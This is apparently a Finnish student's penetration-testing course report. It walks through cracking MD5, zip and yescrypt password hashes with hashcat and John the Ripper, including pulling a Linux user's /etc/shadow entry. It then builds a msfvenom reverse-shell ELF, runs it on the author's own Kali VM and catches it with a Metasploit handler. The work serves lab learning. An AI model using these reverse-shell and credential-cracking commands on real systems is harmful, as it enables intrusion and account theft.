Henry Isakoff 🥕 Tunkeutumistestaus

| Tunkeutumistestaus | 16 min

Ylös, alas ja ympäri hei.

Tässä raportissa keskitymme siihen mitä työkaluja ja keinoja voimme käyttää järjestelmän sisällä, kun kerran olemme sinne päässeet.

Eli tavoitteena on päästä kaivamaan salattuja tietoja ja muuntamaan löydettyjä salatietoja luettavaan muotoon.

Tutustumme ohjelmiin hashcat, John The Ripper ja Name-That-Hash. Näistä kaikki voin asentaa Mac OS läppärini raudalle brewin kautta.

Lopussa tutustumme vielä metasploitin kautta tehtävään käänteis-shelliin. Metasploitin saan myös asennettua brewin kautta.

Hash, kissa ja oikea rauta.

Eli ensimmäisenä varmaan paras aloittaa mikä hash edes on.

Hash On hajautusalgoritmi jolla on mahdollista antaa tiedostolle oma vastaava syötearvo. Tämä syötearvo voidaan verrata takaisin salausalgoritmin arvoon, tällöin saadun arvon hashattu sisältö saadaan tietoon takaisin.

Eli esimerkiksi hashcatilla voimme verrata saatua hash arvoa erilaisten hash-algoritmien tuloksiin. Pohjalla voidaan käyttää listaa jossa hashcat vertaa jokaista listalla olevaa tulosta annettuun hash-attribuuttiin. Yksi. Kerrallaan. Verraten.

Tästä syystä, mitä isompi lista tai vaikeampi salausalgoritmi, sitä pidempään vertaus tapahtuu raudalla. Hashcat pohjimmiltaan käyttää näytönohjainta kiihdyttimenä tähän, kun taas esimerkiksi john-the-ripper pääosin käyttää prosessoria. John voi myös käyttää näytönohjainta tietyin reunaehdoin.

Aloitetaan siis hashcatilla.

brew install hashcat

Hashcat asennettu

Koska käytän mac OS ARM prosessoria, haluan vartmistaa, että hashcat osaa käyttää rautaani mahdollisimman natiivisti. Kokeilen siis tehdä yksinkertaisen md5 käynnistyksen toimimaan benchmarkkina.

hashcat -b -m 0

#-b laittaa hashcatin bruteforce tilaan ja -m valitsee algoritmin. 0 on md5.

Eka benchmark

Yllättäen komento antaa kaksi laitetta. Ensimmäisenä on valittuna openCL variantti. Tällä benchmark lähtisi tekemään siis työtä ’väärällä’ kirjastolla.

Eli lyhyesti. Applen Metal(3) on Applen oma natiivi rajapinta Apple Silicone (ARM/ASS) raudalle jota käytän. OpenCL on avoin rajapinta jota käytetään laajasti erinäisissä laskentaympäristöissä, mutta sen optimointi on laajuuden takia erittäin suppeaa (yleistys- opencl on monessa tapauksessa erittäin hyvä fallback juuri tästä samasta syystä). Erityisesti GPGPU instansseissa jota opencl käyttää. Itseasiassa hashcat itsekin varoittaa, että se ei ole luotettava tähän.

Tässä myös kannattaa tarkastaa, että jos omassa koneessa esimerkiksi tehokas näytönohjain, niin hashcat käyttää tätä, eikä esimerkiksi prosessorin sisäistä näytönohjainta.

Tutkin hashcatin dokumentaation ja -d tai --backend-devices ohjaa oikeaan rautaan. Kokeillaan ihan vain.

hashcat --backend-devices=metal

Nyt kokeillaan ajaa benchmarkin uudestaan. Ainakin oikea laite on valittu ja katson myös iStat menus järjestelmäni seurannasta, että näytönohjain lähtee juoksemaan.

Eka benchmark

Vaikka molemmat asettuvat n 11200MH/s tulokseen, on aina parempi käyttää pohjaa jota rauta tukee paremmin. Myös, tämä tulos on hyvin synteettinen, koska emme ajaneet mitään oikeaa listaa.

Listat ja valistuneet arvaukset.

Käytimme edellisessä fussaus tehtävässä Daniel Miesslerin listoja, käytetään nytkin. Tästä ohjeet suoraan opettajan Teron ohjeista. Eli kyseessä laaja salasanalista josta voimme yrittää etsiä koppeja.

wget https://github.com/danielmiessler/SecLists/raw/master/Passwords/Leaked-Databases/rockyou.txt.tar.gz

tar xf rockyou.txt.tar.gz

rm rockyou.txt.tar.gz

Kokeillaan, että järjestelmä toimii valitsemalla listalta joku salasana, muuttamalla se md5 muotoon ja vertaamalla kokonaisuutta listaan. Jotta voimme myös simuloida oikeaa salasanaa, meidän pitää yrittää arvata mikä salausmuoto on kyseessä (duh - nyt tiedämme, että se on md5). Tähän asennamme Name-That-Hashin brewin kautta.

brew install name-that-hash

Valitsen listalta aivan lopusta salasanaksi ”21062532”. Muutetaan se ensin md5 muotoon. Käytetään OpenSSL tähän joka, löytyy ihan Mac OS 15 pohjalta.

echo -n "21062532" | openssl md5

# echo luo uuden tekstin ja -n estää rivilyönnin välistä. Putket erottavat ja vievät tämän openssl md5 komentoon.

Openssl lukee tämän arvon md5 muotoon.

MD5(stdin)= f4046ef8e428a82ed3399e47c4f8f13c

Tämän jälkeen ”arvataan” name-that-hashilla mikä arvo tämä on.

nth -t "f4046ef8e428a82ed3399e47c4f8f13c"

NTH

Vastauksessa HC kertoo hashcat cost arvon, eli paljon tehoa tarvitaan käyttämään tämän arvon avaamiseen. HC0 tarkoittaa, että tehoja ei tarvita ollenkaan. Vanha perunakin käy.

Mennään siis kokeilemaan tällä omenaperunalla md5 arvoa.

hashcat -m 0 'f4046ef8e428a82ed3399e47c4f8f13c' rockyou.txt -o selvitetty.txt

# -m 0 = md5 hashcatissa. 'Etsittävä arvo', lista ja -o = output mihin_tiedostoon.txt 

Ja tällä selvitimme salasanan.

f4046ef8e428a82ed3399e47c4f8f13c:21062532

Arvo avattu

Joni se on repijä

Seuraavaksi kokeillaan John the ripperiä.

brew install john

John tekee käytännössä samaa kuin hashcat. Pääerona näyttäisi äkkiseltään olevan laitteistokiihdytyksen tuki. john näyttää olevan enemmän prosessoripohjainen ja tähän lisätty tuki myös OpenCL GPGPU prosesseille (jota myös esim CUDA tukee). Suoraan epäilen, että ainakaan natiivia metal tukea ei ole. Kuten jo etsintäparametrikin sen paljastaa.

john --list=opencl-devices

rauta

Tämä hyvä osviitta, että jos jotain pystyy mielummin hashcatilla tekemään niin mennään mielummin sille suunnalle (tällä koneella). Tai sitten isoissa tapauksissa vien suoraan ulkoiseen virtuaalikoneeseen jossa vahva näytönohjain. Nämä ajatukset kuitenkin aika hypoteettisiä vielä.

John:ssä on toki myös tuki automaattiselle hash-arvaukselle. Yritetään käyttää tätä nyt hyväksemme.

Luodaan ensin hash_kokeilu.txt tiedosto jota käyttää ohjelman kanssa.

echo 'user:f4046ef8e428a82ed3399e47c4f8f13c' > hash_kokeilu.txt

Sitten ajetaan.

john --wordlist=rockyou.txt hash_kokeilu.txt

Joka tuottaa

Loaded 2 password hashes with no different salts (LM [DES 64/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 100% 0g/s 9064Kp/s 9064Kc/s 18129KC/s   NISRI..*7¡V
Session completed

Eli John-The-Ripperin automaattitunnistin ei tunnistanut md5 formaattia vaan yrittää avata tuota DES avaimena. Meidän on siis lisättävä --format kommentti komentoon. Mutta tässä tulee ensimmäinen iso ongelma johon törmään.

henry@Hopsumakki:/Users/Henry/kl/hashed$ john --format=md5 --wordlist=rockyou.txt hash_kokeilu.txt

Unknown ciphertext format name requested

Missä tahansa muodossa yritän tuota laittaa niin john ei ota tunnistaakseen. Kaivan googlen kautta pentestmonkeyn sivun jossa todella laajasti avataan tuetut formaatit ja mahdollisuudet.

Ei löydy

Olen jo vaihtamassa tätä tehtävää linuxin puolelle ja synkronoin tehtävätiedot NFSllä virtualisoinnin puolelle. Tutkin John-the-ripperin asennus/rakennus-tiedot linuxille, mutta sitten törmään: eli ohjelmasta löytyy erikseen jumbo paketti jossa laajempi skaala algoritmejä. Siitäkin löytyy brew versio.

Eli

brew uninstall john
brew install john-jumbo

Toimii!

Tämän jälkeen kokeilen pentestmonkeyn listalta puhdasta md5 kantaa, eli raw-md5.

john --format=raw-md5 --wordlist=rockyou.txt hash_kokeilu.txt

Toimii!

Ja tällä toimii!

Käytännön testiin!

Tähän asti siis kokeilimme vain asioilla joita jo tiedämme. Loimme itse hashin ja purimme sen siististi osiin. Aika kokeilla siis:

🌈Oikealla salatulla tiedostolla🦄.

Pieni asteriksi tähän. Eli jos lataat tiedostoja internetistä salausavausta varten, aina avaa virtualisoidussa ympäristössä nämä. Erityisesti jos kyseessä avattava tiedosto. Koskaan ei voi olla liian varovainen.

Opettajallamme Terolla tähän tehtävään nyt sopiva .zip tiedosto jota voimme käyttää tähän. Ja luotetaan, että opettaja ei tehnyt kepposia.

wget https://terokarvinen.com/2023/crack-file-password-with-john/tero.zip

Ohjeissa suositellaan käyttämään john sisäistä zip2john työkalua zipin hash-arvon hakemiseen. Tätä ei kuitenkaan heti löydy brewin kautta asennetusta paketista.

Ei löydy

Etsitäänpä siis homebrewi john-jumbo paketin kansiosta. Tiedän, että asennuskansio brewillä on ’opt/homebrew’ niin putkitetaan sillä. Ja asennuskansiosta etsitään zip2john - jota tarvitsemme zip paketin hashin ulosantiin.

brew info john-jumbo | grep '/opt/homebrew/'
find /opt/homebrew/Cellar/john-jumbo/1.9.0_1/ -name zip2john

## find komennon vastauksen voi kopioida varmistaakseen, että ohjelma toimii

zip2john

Lisätään tämä bash pakkiin suoraan, että toimii profiilissa myös kansion ulkopuolella. Näitä aina välillä tulee brew pakettien kanssa vastaan, mutta laajentaa aina omaa työkalupakkia.

nano ~/.bash_profile 
# tämä minun profiilini
export PATH="/opt/homebrew/Cellar/john-jumbo/1.9.0_1/share/john:$PATH"
source ~/.bash_profile 
#ladataan sessio uudestaan päivitetyllä profiililla

Ja nyt toimii!

zip2john

Luodaan hash ja luetaan, että tämä löytyy.

zip2john tero.zip >tero.zip.hash
cat tero.zip.hash

hash

Tämän jälkeen annetaan john lukea zip-tiedoston hash ja käyttää läpi omien sanakirja-algoritmien.

john tero.zip.hash

Tästä löytyi avain ’butterfly’. Voidaan lisätä myös --show attribuutti joka kertoo sijainnin salasanalle.

Löydetty!

Löytyi

Linux käyttäjän salasana. Ja pieni mutka matkaan.

Kokeillaan seuraavaksi lukea ihan Linuxista käyttäjän salasana. Nyt tässä tapauksessa otetaan Kali.

Käynnistetään Kali ja luodaan sinne uusi käyttäjä. Käytän nyt ajan säästämiseksi helppoa salasanaa listalta jostain puolesta välistä ja katsotaan mihin johtaa (TÄMÄ VIRHE! Terveisin tulevaisuudesta - ota testiin vain joku alun salasana!). Kali tallentaa salasanat /etc/shadow kansioon, eli tässä tapauksessa olemme murtaneet itsemme sinne (leikisti).

sudo adduser pertti * lisätään tiedot ja salasanat
sudo cat /etc/shadow | grep pertti > pertti.sala

Salasana!

Tästä saamme Pertille hash arvon jota voimme lähteä nyt purkamaan.

Automaattisesti john ei osaa purkaa tiedostoa. Kuvassa väärin --crypt komento lisätty, kokeilin myös sitä ei bleeding versioon.

Ei toimi

Tämän jälkeen kokeilen nimetä hashin nth kautta.

nth -t $y$j9T$onfV/A03I8OEMkqc8HPUN1$huNJ80Yn17mxCZT6obRupquDh6QaYD4aZ5EffodIhE1

# -t = tekstimuodossa ja hash perään

BigCrypt

Nth tunnistaa hash-arvon ’bigcrypt’. Tätä hashcat tai john ei tunnista itsessään. Päädyn siis googlaamaan aihetta ja löydän hashcatin tiketin aiheesta.

Selviää, että hash alun ’$y$’ viittaa yescryptiin ja vain john jumbo paketin bleeding buildissä on alkava tuki tälle.

Edfsökflasöldfk.

Hauska asia tietotekniikassa on aina se, että matka vie perille vähän pidemmän kautta. Johonkin.

Minulla siis Mac OS ARM rauta ja yritän välttää tiettyjä Rosetan X86 laitteistokiihdytyspohjia ja niiden kirjastoja koneellani. Näitä nyt tarvittaisiin johnin-bleeding-edge-version koontiin suoraan raudalleni. Onneksi kotilabrasta löytyy myös unraid ja x86.

Eli aika rakentaa linuxin puolelle tämä. Teron sivuilla hyvä ohje. Nyt hypätään tämän yli, koska -ei-bleeding-edge-tilanteessa tätä ei tarvita. Toki hyvällä hakkerilla on monta vasaraa.

Asentamaan!

tadaa!

Debian ja crypt.

Eli noin 30min myöhemmin. Koonsin uusimman John-The-Ripper version githubista virtualisoituun tyhjään debianiin. Koontiversio tähän 1.9.0-jumbo-1+bleeding-65368cc0e0 jossa siis tuki yescryptille. Lisäksi laitoin nvidian/CUDAn ajurit mukaan.

Halusin päästä kokeilemaan tuota opencl tukea johnin kautta. Vähäthän luin, että yescrypt on nimenomaan tehty välttelemään nopeaa ja tehokasta hash lukua näytönohjaimella. 😂. Siksi hashcatillä ei tukea tälle - hashcathan oli rakennettu kiihdyttimien kautta pyöritettäväksi.

BigCrypt

Laitan johnin pyörimään ja tämä lähti toimimaan! Koko listan läpikäynnissä kestäisi nyt n 14-tuntia prosessorin (CPU) kautta. Näytönohjaimen kautta tehtävänä ’--device=0’ (joka siis 3090) tuottaa vastauksen ’The "--devices" option is valid only for OpenCL or ZTEX formats’. Eli crypt ei tue tätä. Lopetetaan tähän nyt. Odotus ei palkitse tätä kokonaisuutta.

Lähti toimimaan.

Tein Pertin salasanan eilen - ja otin listalta mysteerikohdasta. Eli en sitä enää muista. Eli se on hukassa tähän raporttiin. Teen Kaliin vielä uuden käyttäjän ’Mara’ ja teen uuden salasanalistan jossa vain Maran salasana. Simuloidaan miltä näyttäisi tuon 14-tunnin jälkeen löydetty salasana.

Lähti toimimaan.

Toivottavasti Maralla oli jotain salaisempaa tallessa kuin Pertillä.

Reverse shell ja potkitaan renkaita sisältä.

Tutustutaan vielä metasploittiin ja tämän kautta asennettavaan msfvenom käänteis-shelliin.

Voimme asentaa metasploitin tässä tapauksessa ilman --cask komentoa, koska emme tarvitse muita kun komentorivin työkaluja tähän. Lyhyesti, cask on vastuussa GUI ohjelmien pakettien päivityksestä brewin kautta.

Asennuksen jälkeen katson toimiiko msfvenom. Metasploit pyytää tässä tekemään uuden tietokannan itselleen. Vastaan ’yes’.

Metasploit

Sitten vain tekemään. Silmäilen läpi metasploitin dokumentaation. Käytetään omaa virtualisoitua kalia kotiverkossa uhrina. Käytän Mac-konettani ja tämän wireguard-osoitetta hostina (leos leikkiluolassa tekemässä tätä).

msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.2.3 LPORT=4444 -f elf -o kali_luotettava.elf

# -p linux/x64/shell/reverse_tcp: Valitsee payloadin 64-bittiselle Linuxille. Tämä siis uhrikone joka avaa shellin ja ottaa yhteyden takaisin.
# LHOST=192.168.2.3: Tärkein! Eli kuuntelijan verkko-osoite.
# LPORT=4444: Portti, jota kuunnellaan. Voi olla mikä vaan.
# -f elf: Muoto on ELF (Executable and Linkable Format), Linuxin suoritettava tiedostomuoto.
# -o kali_luotettava.elf: Nimi 'luotettavalle' tiedostolle.

Tämä luo minulle tiedoston ’kali_luotettava.elf’ joka pitää saada kaliin pyörimään. Meidän pitää välissä kuitenkin laittaa loppuserveri päälle koneelle joka ottaa vastaan kalin lähetykset.

Täältä tutustun metasploitin dokumentaatioon vielä laajemmin ja ohjelmiston toimintakäytäntöön.

msfconsole
# Konsoli päälle

use exploit/multi/handler
# Käytetään exploit(multi/handler) moduulia

set payload linux/x64/shell/reverse_tcp
# Tähän samat tiedot kun luotiin. Eli käytämme linux-64bit ja reverse shelliä.

set LHOST 192.168.2.3
# täällä ollaan!

set LPORT 4444

run
# laittaa päälle (ennen tätä voi myös varmistaa 'options' komennolla)

Metasploit Metasploit

Lähetän rsyncillä tiedoston kaliin.

rsync -avz kali_luotettava.elf henry@kali.koti:~/wl

#a - tarkka siirto - v - verbose päällä (kirjoittaa mitä tapahtuu) - z - pakataan matkalla. ~/wl = kotikansion wl alikansioon.

Tämän jälkeen laitan prosessin aktiiviseksi ja varmistan, että läppärini myös ottaa kopin tästä.

Kalin puolelta

chmod +x kali_luotettava.elf
./kali_luotettava.elf

Aktiivisena

Ja nyt voin lähettää metasploit-sessiostani komentoja suoraan haavoitettuun koneeseen.

Aktiivisena Aktiivisena

Lyhyesti tästä ja muualta.

Täältä ja täältä

Päällisesti samaa kuin mitä tämä raportti kertoi. Muutama lisä selvittämään tätäkin.

- Hash on nimenomaan yksisuuntainen funktio. Mutta sitä voi käyttää hyväksi tarkastamaan tämä.
- Hashcat tarvitsee, että hash-funktio kerrotaan sille erikseen.
- John tukee sanakirja hyökkäystä. Eli ei tarvitse ulkoista listaa tähän.

Santos et al 2017: Security Penetration Testing

 - Kaksinkertainen suojaus: salasanat vaativat suojausta sekä varastossa, että siirrossa verkon yli.
 - Monet käyttäjät käyttävät oletus-salasanoja ja/tai käyttävät yhtä salasanaa moneen palveluun.
 - Hyökkäyksen ensimmäinen tavoite on tunnistaa tavoitettavat kohteet ja sitten hyökätä näiden salasanoihin.
 - Vaikka hash *ei* ole salausta, sitä voidaan käyttää salasanojen suojaamiseen.
 - Hashaamiseen tulisi aina käyttää salttia(suolaa). Tämä lisää satunnaisia merkkijonoja hashiin. Täten tehden tästä huomattavasti kallimpaa ajallisesti avata.

Singh 2025 // Understanding Active Directory

- ADR on Windows/Azuren käyttäjien, ryhmien, laitteiden ja käytänteiden hallintajärjestelmä.
- Toimii toimialapohjaisesti, jossa tietokone lisätään toimialaan ja täten tämä toimiala hallitsee kantaa.
- 'Forest' toimii toimialan loogisena turvallisuusrajana

Kennedy et al 2025 // File-format exploits // Maksullinen

- Käyttävät haavoittuvuuksia, jotka sijaitsevat käyttöjärjestlmän alapuolella ohjelmistossa ja näiden lukijoissa (esim. Adobe PDF reader, microsoft office).
- Haavoittuvuudet toimivat ja luottavat siihen, että käyttäjä avaa saastuneen tiedoston haavoittuvalla ohjelmistolla.
- Sähköposti toimii oivana jakelukarttana.

Kommentit

Hash bruteforcella on hidas prosessi ja vaatii tehoja. Toimin ammatiltani kuvankäsittelijänä ja olen rakentanu aika kattavan stablediffusion raudan itselleni pyörittämään erinäisiä vaativiakin kokonaisuuksia. Näitä voin onneksi käyttää hyväksi tässä. Toki nyt raportissa emme sinne päässeet - käytettävä yescrypt-hash nimenomaan rakennettu hitaasti luettavaksi.

Huomaan, myös, että raportointipohjaani voisin info-sivulle lisätä raudastani lisätietoja. Koska, näissä aina käytettävä rauta on etusijalla. Raportista ei paljoa ole hyötyä toiselle oppijalle jos rauta ei edusta samoja kokonaisuuksia kuin hänellä. Tämä täytyy tehdä.

Metasploit on laaja kokonaisuus johon vasta nyt pääsin oikeasti raapaisemaan pintaa. Haittaohjelma on oiva esimerkki saaduista oikeuksista järjestelmän sisällä ja käänteis-shellin käytöstä.

Esimerkkinä Windowsin vastaavaan ymmärtääkseni erot.

reverse_tcp LHOST=192.168.2.3 LPORT=4444 -f exe -o ikkunat_luotettava.exe

## ja multi/handler moduuliin
set payload windows/x64/shell/reverse_tcp

Eli tällä kokonaisuudella olisimme päässeet Martin Kaliin käsiksi ja olisimme saanut käänteisyhteydellä ohitettua hänen käyttäjäoikeudet.

Martin olisi vain kannattanut laittaa vahvempi salasana ja ilmoittamatta sitä listaan minulle.

Lähteet

https://terokarvinen.com/tunkeutumistestaus/ https://terokarvinen.com/2022/cracking-passwords-with-hashcat/ https://terokarvinen.com/2023/crack-file-password-with-john/

https://hashcat.net/hashcat/ https://github.com/hashcat/hashcat/issues/2816

https://www.openwall.com/john/ https://formulae.brew.sh/formula/name-that-hash http://brew.sh/ https://formulae.brew.sh/cask/metasploit

https://en.wikipedia.org/wiki/Hash_function https://developer.apple.com/metal/ https://fi.wikipedia.org/wiki/OpenCL https://bjango.com/mac/istatmenus/

https://github.com/danielmiessler/SecLists/ https://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats

https://github.com/openwall/john?tab=readme-ov-file

https://formulae.brew.sh/cask/metasploit https://adfoster-r7.github.io/metasploit-framework/docs/using-metasploit/basics/how-to-use-msfvenom.html https://docs.metasploit.com/

https://hassutte.lu/3718.gif // Studio julmahuvi gif

Tehtävien analysoinnissa käytetty apuna Gemma3:27b tekoälymallia omassa lokaalissa koneessa. Ollama toiminut suorana kääntäjänä. Lähinnä käytetty yksittäisten käsitysten tai mallien ymmärryksen hahmottamiseen.

http://ollama.com/ https://ollama.com/library/gemma3:27b

Marked toimii md muuntimena sivulla. https://github.com/markedjs/marked

Sivuston kuvat optimoitu https://optimage.app

Käytetty aika Raportointi, työkalujen opettelu, luonti ja hahmotus 8h Tehtävät noin 2h

Yhteensä n 10h